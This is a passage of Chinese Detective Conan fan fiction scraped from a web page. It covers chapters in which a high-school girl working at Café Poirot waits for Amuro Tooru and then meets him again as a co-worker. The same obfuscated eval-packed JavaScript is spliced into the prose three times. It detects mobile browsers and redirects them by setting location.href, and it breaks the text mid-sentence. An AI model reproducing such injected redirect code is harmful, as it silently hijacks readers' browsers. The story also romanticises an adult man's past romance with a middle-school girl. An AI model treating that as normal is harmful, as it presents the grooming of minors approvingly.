她想起上周发生的事——帝丹高中文化祭,她们班级演出的舞台剧后台发生了一起盗窃案,演出用的贵重道具不翼而飞。作为班级委员的鎏汐不得不协助老师调查,在排查监控时,她凭借模糊的剧情记忆,将注意力锁定在了一个经常在文化祭执行委员会帮忙的校外人员身上。 那人有前科,擅长利用大型活动混乱时行窃。但鎏汐没有直接说出这些——她只是“偶然”在对方离开时注意到他背包的拉链没拉好,露出了道具的一角。 案子顺利解决,负责此案的佐藤警官在事后若有所思地看着她:“鎏汐同学,你观察力真的很敏锐呢。” 鎏汐当时只是腼腆地笑笑:“运气好而已。” 但她知道不是运气。这一年多来,她经历的类似事件不下十起——从滑雪别墅的杀人案到名门家族的连续惨剧,每一次,她都能在关键时刻提供“恰到好处”的线索。江户川柯南曾不止一次用探究的眼神看她,但她总是用“女性直觉”或“偶然发现”搪塞过去。 没有那个熟悉的身影。 鎏汐深吸一口气,推开店门。 “欢迎光临——啊,鎏汐?”理惠惊讶地看着她,“你不是去图书馆了吗?” “突然想喝店长的特调热可可了。”鎏汐笑着走向柜台,“麻烦一杯,打包。” 等待的间隙,店长一边操作咖啡机一边闲聊:“说起来,鎏汐你明年就高三了吧?打算考哪所大学?” “东大,医学系。” “嚯,目标很高啊!”店长赞叹道,将做好的热可可递给她,“不过以你的成绩,应该没问题。安室那小子要是知道,肯定也会——” 他顿了顿,有些尴尬地咳了一声:“啊,我的意思是……” “没关系。”鎏汐接过纸杯,温热的触感透过杯壁传来,“他会的。” 她付了钱,转身离开。推门时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17054731|194076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,风铃再次响起,清脆的声音在暮色中回荡。 走在回出租屋的路上,鎏汐小口喝着热可可。甜腻的液体滑过喉咙,带来短暂的暖意。她想起国中时,安室透也给她买过这个——那时她因为兼职太累有点低血糖,他什么都没说,只是在下班后塞给她一杯热可可,然后别扭地转过头:“喝掉,补充能量。” 那个时候的他,还会因为她频繁靠近而露出厌烦的表情。 那个时候的她,还在为生计发愁,每天算计着兼职收入和开销。 现在呢? 她即将升入高三,成绩稳居年级前列,东大医学系的目标触手可及。波洛的兼职足够维持生活,偶尔还能存下一点钱。阿笠博士、毛利兰、园子、工藤新一(柯南)……她在这个世界有了朋友,有了羁绊,有了归属。 除了他不在身边。 鎏汐在出租屋楼下停住脚步,抬头看向二楼那扇熟悉的窗户——窗帘是她和安室透周末去家居店挑的,淡蓝色的棉麻材质,他说这个颜色适合她。 她掏出钥匙开门,踩上有些老旧的木质楼梯。脚步声在寂静的楼道里回响,一声,又一声。 进屋,开灯,放下书包。 房间整洁得有些空旷——她每周都会认真打扫,就像他随时可能回来一样。书桌上堆着参考书和试卷,墙上的白板写着密密麻麻的备考计划,角落里放着一个纸箱,里面是安室透留下的几件衣服和几本书。 鎏汐没有打开那个箱子。 她走到窗边,拉开淡蓝色的窗帘。窗外,米花町的夜色渐浓,远处东京塔的灯光已经亮起,在深蓝天幕下像一枚橙红色的宝石。 手机在这时震动了一下。 鎏汐划开屏幕——是一条银行入账通知。金额、时间、空白汇款人,一切都和过去十四个月一样。 她盯着那条通知看了很久,直到屏幕自动熄灭。 然后她打开通讯录,翻到那个没有备注、却早已倒背如流的号码。指尖悬在拨号键上,停顿,最终还是没有按下去。 他不能联系她。她知道。 就像她知道那杯热可可终究会冷掉,就像她知道今晚又要独自面对一室寂静,就像她知道明天醒来时,身边还是空无一人。 但她更知道的是——四百二十六天不是终点。 高中二年级会过去,高三会来临,高考会结束,大学会开始。时间会一直向前走,而她会在每一个节点做好准备。 等他回来时,她要让他看见一个更好的鎏汐。 一个不再是需要他时刻保护的国中女生,一个能够独当一面的、考上东大医学系的、足够与他并肩而立的鎏汐。 窗外传来隐约的警笛声——大概是哪里又发生了案件。在这个世界,这几乎是日常的背景音。 鎏汐拉上窗帘,转身走向书桌。 台灯亮起暖黄的光,她在成堆的参考书中抽出一本,翻开,拿起笔。 笔尖在纸面上滑动,发出沙沙的声响。 等待很漫长,但并非毫无意义。 因为她相信,所有分别都是为了更好的重逢。 而她要做的,就是在重逢之前,成为足够好的自己。 夜色渐深,窗口的灯光一直亮到很晚。 像这座城市里无数个为梦想奋斗的夜晚一样。 也像某个承诺一样——虽然沉默,却始终存在。 41.第 41 章 下午三点的波洛咖啡厅,阳光正好。 鎏汐将最后一杯冰美式端到靠窗的卡座,转身时马尾辫在空中划出一道流畅的弧线。她今天穿了咖啡厅统一的米色围裙,长发用深棕色发绳束起,露出线条优美的天鹅颈和轮廓分明的侧脸。即便只是简单的服务生打扮,她依然吸引了不少客人的目光——这一点从她端着托盘穿行时那些追随的视线就能证明。 “鎏汐,二号桌的草莓蛋糕好了。”厨房传来店长的声音。 “来了。” 她快步走向柜台,动作熟练地接过甜品盘。奶油上点缀的新鲜草莓红得诱人,就像她此刻微微泛红的指尖——刚才清洗咖啡机时水温调得太高了些。 这已经是在波洛兼职的第三年。 从国中二年级那个手足无措的后厨帮工,到如今能熟练操作所有设备、记得半数常客喜好的资深员工,时间在这个小小的咖啡厅里留下了太多痕迹。墙上挂着的员工合照里,她的笑容从青涩到从容;收银台下压着的排班表上,她的名字从每周两天变成五天;甚至菜单上那款“特调热可可”,都因为她某次随口说“冬天喝这个很暖和”而被店长保留下来,成了季节性招牌。 只是有些痕迹,被刻意抹去了。 比如靠门那个位置——曾经某个金发男人最喜欢坐在那里,一边喝黑咖啡一边翻阅报纸,阳光落在他侧脸上时,会让他小麦色的皮肤泛起浅浅的金芒。现在那里坐着一对情侣,女孩正笑着喂男友吃松饼。 比如后厨那套备用刀具——其中那把三德刀比其他刀保养得更好,刀刃锋利得能轻易切开番茄的薄皮。那是安室透惯用的,他说好刀要经常打磨。现在那把刀被收在橱柜最里侧,裹着厚厚的防油纸。 比如…… “欢迎光临——啊,店长?” 鎏汐抬头,看见咖啡厅的玻璃门被推开,店长那张和善的圆脸探了进来。他身后还跟着一个人,逆光让那人的轮廓有些模糊,只能看出个子很高,肩膀宽阔。 “大家停一下手头的工作。”店长拍了拍手,声音里带着难得的兴奋,“介绍一下新同事。” 咖啡厅里瞬间安静下来。正在擦桌子的理惠停下动作,后厨传来的水流声也停了,连几位常客都好奇地转过头。 鎏汐站在原地,手里还端着那盘草莓蛋糕。奶油在室温下开始微微塌陷,但没人注意到。 那个身影从店长身后走了出来。 首先映入眼帘的是金色的头发——不是浅金,而是更深一些的蜜金色,在下午的阳光里泛着柔和的光泽。然后是那张脸,五官比三年前更加深邃硬朗,下颌线的弧度利落得像用刀刻出来的。他穿着简单的白衬衫和黑色长裤,外面套着波洛咖啡厅的米色围裙,围裙带子在腰间系得一丝不苟。 但最让鎏汐呼吸一滞的,是那双眼睛。 紫灰色的瞳孔,像黎明前未褪尽的夜色,又像某种稀有矿石的切面。三年前,这双眼睛看她时有过厌烦,有过好奇,有过温柔,有过愧疚。而现在——它们平静地扫过咖啡厅的每个角落,最后落在她身上。 没有任何波动。 就像在看一个陌生人。 “这位是安室透。”店长的介绍适时响起,“从今天开始在我们店里工作。安室君有多年的服务生和侦探兼职经验,能力很强,大家要好好相处。” 安室透微微欠身,声音比记忆中更低沉了些:“请多指教。” 标准的、礼貌的、毫无破绽的入职问候。 咖啡厅里响起零星的掌声和欢迎声。理惠第一个凑过去,眼睛亮晶晶的:“安室先生以前也在波洛工作过吗?总觉得有点眼熟……” “三年前短暂兼职过。”安室透回答得滴水不漏,“那时候还在上学,时间不多。” “难怪!”店长一拍脑门,“我说怎么简历看着眼熟!安室君,你那时候可是我们店的明星员工,好多客人专门来看你呢!” “您过奖了。”安室透笑了笑。 那个笑容——鎏汐的手指猛地收紧,陶瓷盘边缘硌得掌心生疼。 她记得那个笑容。在海边的月光下,在暴雨夜的咖啡厅里,在冲绳的沙滩上,他这样对她笑过无数次。嘴角上扬的弧度,眼角细微的纹路,甚至左边脸颊那个若隐若现的酒窝——一切都和记忆中一模一样。 但又不是同一个笑容。 因为他的目光再次扫过她时,依然平静无波。 “这位是鎏汐。”店长热情地介绍,“我们店现在的王牌员工,从国中就在这儿兼职了。鎏汐,安室君以后主要负责外场,你多带带他。” 空气安静了两秒。 鎏汐感觉到所有人的视线都集中在她身上。理惠好奇的眼神,店长期待的表情,还有安室透——他正看着她,紫灰色的眼睛里终于有了一丝极细微的波动。 是探究?是歉疚?还是……别的什么? 她分辨不出来。 “好的。”鎏汐听见自己的声音响起,平静得让她自己都惊讶,“安室先生,请多指教。” 她走上前,将手里的草莓蛋糕放在最近的空桌上,然后转身面向安室透,伸出手。 这个动作让周围的人都愣住了。在日本的服务行业,这种正式的握手礼并不常见。 安室透的睫毛微微颤动了一下。他的目光落在她伸出的手上——那只手很漂亮,手指修长,指甲修剪得整齐干净,只是指尖还残留着刚才被热水烫过的淡淡红痕。 三秒的停顿。 然后他伸出手,握住她的手。 掌心温热,指腹有薄茧——是长期握枪和进行格斗训练留下的痕迹。这个触感太熟悉了,熟悉到鎏汐几乎要控制不住指尖的颤抖。 “请多指教。”安室透重复道,声音很轻。 握手只持续了两秒。他松开得很快,快得像被烫到一样。 “那安室君今天先熟悉一下环境。”店长完全没察觉到两人之间诡异的氛围,乐呵呵地说,“鎏汐,你带他看看库存和设备,教教他我们店的流程。” “现在吗?”鎏汐问,“我手上还有订单没做完。” “订单让理惠处理。”店长挥挥手,“去吧去吧,抓紧时间。” 鎏汐抿了抿唇,转身走向后厨。她能听见身后安室透跟上来的脚步声,不紧不慢,保持着恰到好处的距离。 就像他们真的是第一次见面的同事。 后厨的门在身后关上,隔绝了外场的嘈杂。这个时间点厨房没人,只有消毒柜运转时发出的轻微嗡鸣声。阳光从高处的小窗斜射进来,在光洁的不锈钢台面上投下一道明晃晃的光带。 空气里有咖啡豆的醇香,还有清洗剂淡淡的柠檬味。 以及——某种更隐秘的气息。像是雨后青草混合着极淡的烟草,再掺进一丝波本威士忌的余韵。那是安室透身上的味道,三年前她曾无数次在这个气息里入睡。 “库存间在这边。”鎏汐没有回头,径直走向厨房深处那道窄门,“咖啡豆、茶叶、糖浆、纸巾这些都在里面,每周三供货商会来补货,需要提前清点……” 她的声音在空旷的后厨里显得格外清晰,也格外机械。像在背诵说明书。 安室透跟在她身后,没有说话。她能感觉到他的目光落在她背上,像实质的触感。 推开库存间的门,里面是整齐排列的货架。鎏汐打开灯,暖黄的光线照亮了这个不足十平米的小空间。 “这边是咖啡豆,按烘焙程度分类。深烘的在这边,浅烘的……” “我知道。” 安室透终于开口,打断了她的话。 鎏汐的动作顿住了。她背对着他,手指还按在装咖啡豆的麻袋上,粗糙的布料摩擦着指尖。 “三年前这里的布局就是这样。”安室透的声音从她身后传来,平静得像在陈述事实,“深烘的咖啡豆在左边第二排,糖浆在最里面的架子上,纸巾和清洁用品在门后。周三补货,周五清点。” 每一句都准确无误。 鎏汐慢慢转过身。狭窄的库存间里,两人之间的距离不到一米。她终于能看清他眼底的细节——那些细微的血丝,眼睑下淡淡的青色阴影,还有瞳孔深处某种压抑的、沉重的东西。 “所以你是来炫耀记忆力的?”她听见自己说,声音里带着她自己都没预料到的尖锐。 安室透的喉结滚动了一下。 “我是来工作的。”他说。 “工作。”鎏汐重复这个词,嘴角扯出一个没有笑意的弧度,“就像三年前一样?做几个月,然后突然消失,连张纸条都不留?” 这句话说出来的瞬间,她就后悔了。 太明显了。太情绪化了。太不像那个通透理智、懂得把握分寸的鎏汐了。 但她控制不住。四百二十六天的等待,四百二十六个独自醒来的清晨,四百二十六次看着手机期待又失落的瞬间——所有这些被压抑的情绪,在这个狭窄的空间里,在这个男人面前,突然找到了突破口。 安室透没有回答。他只是看着她,紫灰色的眼睛里有什么东西在翻涌,又被强行压下去。 “抱歉。”最后他说,声音低得几乎听不见,“那时候有不得不离开的理由。” “什么样的理由?”鎏汐上前一步,两人的距离缩短到半米。她能闻到他身上更清晰的气息,能看见他衬衫领口下若隐若现的锁骨线条——那里有一道新添的伤疤,淡粉色,还没完全愈合。 “不能说的理由。”安室透说。 “不能说的理由。”鎏汐笑了,笑声里带着讽刺,“安室先生,你知不知道这句话有多像拙劣的借口?” “不是借口。” “那是什么?国家机密?拯救世界?”她的声音在颤抖,“还是说,你只是厌倦了,觉得我这个累赘太麻烦,所以干脆一走了之?” 这句话说出口的瞬间,安室透的眼神变了。 那些压抑的、沉重的东西突然破碎,取而代之的是一种近乎疼痛的情绪。他的嘴唇动了动,像是想说什么,但最终只是抿成一条紧绷的直线。 “我从没觉得你是累赘。”他说,每个字都像从牙缝里挤出来的,“从来没有。” “那你为什么不告而别?”鎏汐听见自己的声音在拔高,“为什么连一个电话、一条短信都不留?你知道我等了多久吗?你知道我每天来波洛上班,都在期待推门进来的人是你吗?你知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17054732|194076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我——” 她停住了。 因为安室透突然伸出手,似乎想碰她的脸,但在指尖即将触碰到她皮肤的瞬间,又猛地收了回去。他的手握成拳,指节因为用力而泛白。 “对不起。”他又说了一遍,声音沙哑,“鎏汐,对不起。” 这三个字像一盆冷水,浇灭了鎏汐所有的情绪。 她看着他——这个三年前会温柔地吻她、会对她说“等你成年我们就结婚”、会笨拙地为她包扎伤口的男人,现在站在她面前,除了“对不起”什么都说不出。 有什么意义呢? 质问没有意义,发泄没有意义,甚至这个重逢都没有意义。因为一切都和三年前不一样了。他变了,她也变了。他们之间隔着的不是误解,不是赌气,而是四百二十六天实实在在流逝的时间,和他那句“不能说的理由”。 “算了。”鎏汐听见自己说,声音突然变得很疲惫,“店长让我带你熟悉流程。我们继续吧。” 她转过身,重新面向货架,手指划过装着咖啡豆的麻袋。 “咖啡豆的保存要注意湿度,太潮湿会影响风味。糖浆的保质期是六个月,开瓶后要尽快用完。纸巾的库存要随时保持充足,周末客人多的时候消耗很快……” 她又变回了那个专业的、冷静的员工。声音平稳,条理清晰,就像刚才那段失控的对话从未发生过。 安室透在她身后沉默地听着。她能感觉到他的目光依然落在她背上,但这一次,她没有回头。 十分钟后,他们走出库存间。 外场的理惠正端着托盘路过,看见两人时眼睛一亮:“呀,鎏汐教得真认真!安室先生都记住了吗?” “差不多了。”安室透回答,脸上又恢复了那种礼貌的微笑,“鎏汐桑讲解得很清楚。” 桑。 这个敬称像一根细针,轻轻扎进鎏汐的心脏。 “那就好。”她听见自己说,声音平静无波,“我去处理刚才没做完的订单。安室先生可以先跟着理惠学习点单流程。” 说完,她径直走向收银台,没有再看他一眼。 接下来的几个小时,波洛咖啡厅里的气氛变得有些微妙。 新来的帅气服务员安室透很快展现了惊人的业务能力——他记得住复杂订单的所有细节,端托盘的动作稳得像专业侍者,对客人的提问应对得体,甚至连最难缠的挑剔客人都被他哄得眉开眼笑。 但他和鎏汐之间,始终隔着一道看不见的墙。 每次鎏汐需要经过他身边时,他会立刻侧身让出足够的空间;每次她需要从柜台拿东西而他正好在那里时,他会迅速退开;甚至当她不小心把抹布掉在地上,他弯腰去捡的瞬间,两人的手指差点碰到,他却像触电般猛地收回手。 这些小动作太明显了,连迟钝的店长都察觉到了不对劲。 “鎏汐,你和安室君……”下班前,店长偷偷把她拉到一边,“是不是以前有过节?” 鎏汐正在换下围裙,闻言动作顿了顿。 “没有。”她说,“只是不熟。” “不熟?”店长挠挠头,“可我看你们之间的气氛……怎么说呢,有点尴尬?” “可能是因为安室先生太优秀了,让我有压力吧。”鎏汐随口扯了个理由,把围裙叠好放进员工柜,“店长,没什么事的话我先走了。” “啊,好,路上小心。” 鎏汐拎起书包,推开咖啡厅的门。傍晚的风带着凉意拂过脸颊,她深吸一口气,试图把胸口的闷堵感压下去。 身后传来脚步声。 她回头,看见安室透也走了出来。他已经换下了围裙,穿着简单的灰色夹克和牛仔裤,手里拿着一个牛皮纸袋——大概是店长给的欢迎礼物。 两人隔着三米的距离,站在咖啡厅门口的人行道上。 夕阳把他们的影子拉得很长,在石板路上交错。 “我往这边走。”鎏汐先开口,指了指左边的方向。 “我往右边。”安室透说。 简短的对话后,是更长的沉默。 鎏汐转过身,迈开脚步。一步,两步,三步—— “鎏汐。” 他的声音从身后传来。 她停下,但没有回头。 “明天见。”安室透说。 又是三个字。不是“对不起”,不是“等等我”,甚至不是“好好照顾自己”。 只是“明天见”。 鎏汐闭上眼睛,再睁开时,眼底所有情绪都被压了下去。 “明天见,安室先生。” 她说完,继续往前走。脚步声在安静的街道上清晰可闻,一声,又一声,直到拐过街角,彻底消失。 安室透站在原地,看着她离开的方向,久久没有动。 手里的牛皮纸袋被他捏得微微变形。路灯在他脸上投下晦暗不明的阴影,紫灰色的眼睛里,那些压抑了一整天的情绪终于翻涌上来——愧疚,疼痛,挣扎,还有某种近乎绝望的温柔。 但他最后只是低下头,转身走向相反的方向。 两个背影在渐浓的暮色里越离越远,像两条短暂相交后又注定分开的线。 42.第 42 章 波洛咖啡厅早晨七点的阳光总是温柔得恰到好处。 鎏汐推开店门时,风铃在头顶清脆作响。晨光透过玻璃窗斜斜地洒进来,在木质地板上投下细长的光斑。空气中弥漫着咖啡豆烘焙后的醇香,还有清洁剂淡淡的柠檬味——一切都和往常一样。 但又不完全一样。 因为柜台后站着的那个人。 安室透背对着门口,正在操作意式咖啡机。他穿着咖啡厅统一的米色围裙,深色衬衫的袖口整齐地挽到手肘,露出线条紧实的小臂。晨光勾勒出他挺拔的背影轮廓,金色短发在光线下泛着柔和的光泽。 听见推门声,他转过头。 四目相对的瞬间,鎏汐下意识地握紧了书包带子。 “早。”安室透先开口,声音平静,“店长说今天早班只有我们两个。” 鎏汐没有说话。她把书包放进员工柜,脱下外套挂好,然后从柜子里拿出自己的围裙。系带子的时候,手指不太听使唤,打了两遍才系好。 等她转身时,安室透已经不在柜台后了。 他正拿着抹布擦拭靠窗的那排桌子——那是鎏汐每天早班的第一项工作。桌面上残留的水渍在晨光下泛着晶莹的光,显然已经擦过一遍了。 “桌子我擦过了。”安室透头也不抬地说,“咖啡豆也磨好了,糖浆补充过了,餐具消毒还有三分钟结束。” 每一句都像是在汇报工作,语气恭敬又疏离。 鎏汐站在原地看着他。晨光里,安室透侧脸的线条比她记忆中更加硬朗,眼睑下有淡淡的青色阴影,像是没睡好。但他擦拭桌子的动作依然利落专业——抹布在桌面上画着标准的“S”形,边缘角落都不放过。 “那我做什么?”她听见自己问,声音有些干涩。 安室透终于抬起头,紫灰色的眼睛看向她。 “店长说今天的早班备餐由你负责。”他说,“菜单在黑板上,食材都在冰箱里。需要我帮忙的话——” “不用。”鎏汐打断他,转身走向后厨,“我自己可以。” 她走得很快,几乎算得上是逃。后厨的门在身后关上,隔绝了那道让她如芒在背的视线。 冰箱里确实如他所说,所有食材都已经分门别类地摆好——鸡蛋在左侧,培根和火腿片用保鲜膜包好放在中间,蔬菜洗净切好装在透明的保鲜盒里,甚至连做松饼的面糊都提前调好,装在带盖的玻璃碗中。 一切都准备得无可挑剔。 就像三年前,他们还在热恋时,安室透也总是这样提前为她准备好一切。他说她兼职太辛苦,能帮她分担一点是一点。 鎏汐盯着那碗面糊看了很久,直到眼眶开始发酸,才猛地移开视线。 她开始做早餐。煎培根、炒鸡蛋、烤吐司、搅拌沙拉——机械性的动作让大脑得以放空。后厨里只有煎锅滋滋的响声和烤箱计时器的滴答声,还有她自己略显急促的呼吸声。 七点半,咖啡厅准时开门营业。 早高峰的客人络绎不绝——赶着上班的上班族、晨跑后来喝咖啡的附近居民、还有几个帝丹高中的学生。鎏汐和安室透分工明确:她负责备餐和收银,他负责点单和送餐。 配合默契得可怕。 当鎏汐刚把一份培根煎蛋装盘,安室透就会准时出现在传菜口;当她找零钱慢了几秒,他已经微笑着安抚客人“请稍等”;甚至当她不小心打翻了糖罐,玻璃碎片还没落地,他已经拿着扫帚和簸箕走过来。 “小心手。”他在清理碎片时低声说,然后迅速退回安全距离,继续给客人点单。 一切都完美得不真实。 直到上午十点,早高峰过去,咖啡厅里终于清静下来。鎏汐正在清洗最后一拨餐具,水流哗哗地冲刷着瓷盘上的泡沫。 “午餐想吃什么?” 安室透的声音突然从身后传来,距离近得让她背脊一僵。 她关掉水龙头,转过身。安室透站在她身后一米左右的位置,手里拿着一个小本子——是波洛咖啡厅的员工点餐本。 “店里今天有特供的鸡肉三明治。”他继续说,目光落在本子上,没有看她,“我尝过样品,味道还可以。或者你想吃别的?厨房里还有食材,可以做——” “随便。”鎏汐打断他,“什么都行。” 安室透握着本子的手指紧了紧,指节泛白。但他很快松开,点了点头。 “那就三明治。”他说,“十二点半可以吗?那时候客人最少。” “嗯。” 简短的对话后,又是沉默。安室透在原地站了几秒,似乎在等什么,但最终只是转身离开了后厨。 鎏汐重新打开水龙头,继续洗碗。水流温热的触感让她稍微平静了一些。 十二点半,咖啡厅里果然只剩下两桌客人。鎏汐擦干净最后一张桌子,正准备去后厨随便找点东西吃,就看见安室透端着托盘从厨房走出来。 托盘上放着两个精致的白瓷盘,每个盘子里都装着一份摆盘漂亮的鸡肉三明治——面包烤得金黄酥脆,鸡肉煎得恰到好处,生菜和番茄片新鲜欲滴,旁边还配了小小的沙拉和几片水果。 “你的。”安室透把其中一个盘子放在靠窗的桌上——那是鎏汐平时最喜欢的位置,“我去给客人结账。” 他说完就转身走向收银台,没有给她拒绝的机会。 鎏汐看着桌上的三明治。阳光透过玻璃窗照在白瓷盘上,让食物看起来更加诱人。她犹豫了几秒,最终还是坐了下来。 拿起三明治咬了一口。 熟悉的味道瞬间在口腔里弥漫开来——不是波洛咖啡厅常规菜单上的味道,而是安室透特有的做法。鸡肉用黑胡椒和迷迭香提前腌制过,沙拉酱里加了少许蜂蜜和柠檬汁,连面包的烤制火候都和她记忆中一模一样。 三年前,他经常做这个给她当午餐。 鎏汐咀嚼的动作慢了下来。她抬眼看向收银台——安室透正在给客人结账,侧脸专注而认真。阳光落在他金色的短发上,让他整个人看起来像是在发光。 但他眼底的疲惫,即使隔着这么远的距离,依然清晰可见。 “好吃吗?” 突然响起的声音让鎏汐吓了一跳。她转过头,发现安室透不知什么时候已经结完账,正站在她桌边。手里端着另一个盘子——他自己的那份午餐。 “还、还行。”她含糊地说。 安室透在她对面的位置坐下,动作自然得像他们每天都这样一起吃饭。但实际上,这是重逢后他们第一次同桌。 气氛尴尬得让人窒息。 鎏汐低头专注地吃着三明治,尽量不去看对面的人。但余光还是能瞥见安室透的动作——他吃东西的样子很优雅,手指修长,动作不急不缓,连喝水的姿势都无可挑剔。 “今天下午有课吗?”安室透突然问。 鎏汐愣了一下,抬起头:“……有,两点开始。” “我三点下班。”他说,“可以送你去学校。” “不用。”鎏汐几乎是立刻拒绝,“我自己可以。” “顺路。”安室透的语气平静却不容反驳,“我下午刚好要去帝丹高中附近办事。” 谎言。 鎏汐在心里冷笑。帝丹高中附近除了居民区和几家小店,根本没有需要“办事”的地方。这借口拙劣得连理惠都不会信。 但她没有拆穿。 “随便你。”她说完,继续低头吃东西。 午餐在沉默中结束。安室透在她吃完后,自然而然地收走了两人的盘子,端去后厨清洗。鎏汐想帮忙,但被他一句“你该准备去学校了”挡了回来。 一点五十分,鎏汐换好衣服准备离开。她推开咖啡厅的门时,发现安室透已经等在门外。 他换下了围裙,穿着简单的灰色夹克和牛仔裤,肩上背着一个黑色的帆布包。看见她出来,他站直身体,但没有说话。 两人一前一后地走在米花町的街道上。午后的阳光温暖而不刺眼,路边的樱花树虽然已经过了花期,但郁郁葱葱的叶子在风中沙沙作响。 距离保持得恰到好处——安室透走在她身后半步的位置,既不会太近让她不适,又不会太远让她离开视线。 一路无言。 直到转过街角,帝丹高中的校门出现在视线里。 “就到这里吧。”鎏汐停下脚步,转身面对安室透,“谢谢你送我。” 安室透看着她,紫灰色的眼睛里有什么东西闪了闪。但他只是点了点头。 “放学后直接回波洛吗?”他问。 “嗯,晚班。” “那我做好晚饭等你。” 鎏汐愣住:“什么?” “晚饭。”安室透重复道,语气平静得像在说今天天气不错,“店长说晚班可以包一餐。我负责做。” “不用麻烦——” “不麻烦。”他打断她,声音很轻,“我想做。” 这句话里的某种情绪让鎏汐的心跳漏了一拍。她抬头看向安室透——他正专注地看着她,眼神里没有愧疚,没有歉意,只有一种近乎固执的温柔。 那种眼神太熟悉了。三年前,他每次想为她做什么又怕她拒绝时,就会露出这样的眼神。 “随便你。”鎏汐最后说,转身走向校门。 她没有回头,所以没看见安室透站在原地,目送她的背影消失在教学楼里,才慢慢转身离开。 也没有看见他走到校门口的便利店,买了一包暖宝宝和一瓶热饮,然后拜托路过的学生帮忙带进学校,送到二年B班的鎏汐手里。 下午的课鎏汐上得心不在焉。 暖宝宝和热饮是课间时一个不认识的女生送来的,说是“校门口一个金色头发的哥哥让转交的”。东西送到时还是温热的,暖宝宝贴在腹部,确实缓解了生理期的不适——她甚至都没注意到自己今天状态不对,但安室透注意到了。 这个认知让她胸口发闷。 放学后,鎏汐收拾好书包,和毛利兰、铃木园子一起走出教学楼。 “鎏汐,你今天脸色好多了诶。”园子凑过来,好奇地盯着她看,“上午还看你捂着肚子,下午就活蹦乱跳了——说,是不是偷偷吃了什么灵丹妙药?” “只是用了暖宝宝。”鎏汐含糊地说。 “暖宝宝?你自己带的吗?我怎么没看见——” “园子。”毛利兰轻轻拉了拉园子的袖子,对她使了个眼色。 园子立刻会意,吐了吐舌头转移了话题:“啊对了,小兰,你听说了吗?隔壁班那个谁好像对鎏汐——” “园子!”毛利兰无奈地打断她。 鎏汐笑了笑,没有接话。三人走到校门口,正准备分手,鎏汐突然看见马路对面站着一个人。 金色的头发在夕阳下格外显眼。 安室透靠着电线杆,双手插在夹克口袋里,目光正看向这边。看见鎏汐注意到他,他直起身,但没有走过来,只是安静地等着。 “哇哦——”园子拖长了声音,“那不是波洛新来的帅哥服务员吗?他是在等谁啊?” 毛利兰轻轻拉了拉园子的手:“园子,我们该走了。” “诶?可是——” “走了啦!” 园子被毛利兰半拖半拽地带走了,临走前还不忘对鎏汐挤眉弄眼。鎏汐叹了口气,穿过马路走向安室透。 “不是说了不用接吗?”她问。 “顺路。”安室透面不改色地重复早上的借口,“刚好在附近办事。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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安室透笑了笑,没有接话。他的目光落在鎏汐身上——她正低头小口喝着味噌汤,侧脸在灯光下柔和得像一幅画。 晚饭后,鎏汐主动收拾餐具。她端着托盘走向后厨时,安室透跟了上来。 “我来洗。”他说。 “不用,我来就行。” “你今天不舒服,休息吧。” “我没有——” “鎏汐。” 安室透叫了她的名字,声音很轻,却带着某种不容拒绝的力度。鎏汐转过头,看见他正看着她,眼神里那种固执的温柔又出现了。 “让我做点什么。”他说,“好吗?” 这句话里的恳求意味太明显了。鎏汐握着托盘的手指紧了紧,最终松开了。 “……随便你。” 她把托盘放在水池边,转身离开了后厨。 晚上九点,波洛打烊。鎏汐换好衣服走出员工休息室时,发现安室透又等在门外。 “我送你回家。”他说。 这一次,鎏汐没有拒绝。 两人走在夜晚的街道上。路灯把影子拉长又缩短,周而复始。夜晚的米花町很安静,只有偶尔驶过的汽车和远处隐约的警笛声——在这个世界,后者几乎是背景音。 快到鎏汐的出租屋时,安室透突然停下脚步。 “鎏汐。”他叫住她。 鎏汐转身:“还有事吗?” 安室透看着她,路灯在他脸上投下晦暗不明的阴影。他沉默了几秒,然后从口袋里拿出一个小盒子。 “这个给你。” 鎏汐没有接:“是什么?” “止痛药。”安室透说,声音很轻,“我查过了,这种副作用比较小。还有……暖宝宝我买了一些放在员工柜里,你如果需要随时可以拿。” 他说话时没有看她,而是看着手里的盒子,像在汇报什么重要工作。 鎏汐盯着那个盒子看了很久,久到安室透的手开始微微颤抖,才伸手接过。 盒子是温热的,显然被他握了很久。 “……谢谢。”她说。 安室透终于抬起头,紫灰色的眼睛里有什么东西亮了一下,又迅速黯淡下去。 “不客气。”他说,“那……明天见。” “明天见。” 鎏汐转身走向出租屋的楼梯。她听见身后安室透离开的脚步声,很轻,很慢,但一直没有停。 直到她走到二楼,从窗户往下看,才发现安室透还站在楼下。 他仰着头,正看向她的窗户。夜色里,他的身影单薄得像随时会消散。但当鎏汐的身影出现在窗边时,他明显愣了一下,然后迅速转身,快步离开了。 鎏汐拉上窗帘,背靠着墙壁慢慢滑坐在地上。 手里的小盒子还残留着体温。她打开盒子,里面整齐地放着几片止痛药,还有一张折得很小的纸条。 她展开纸条。 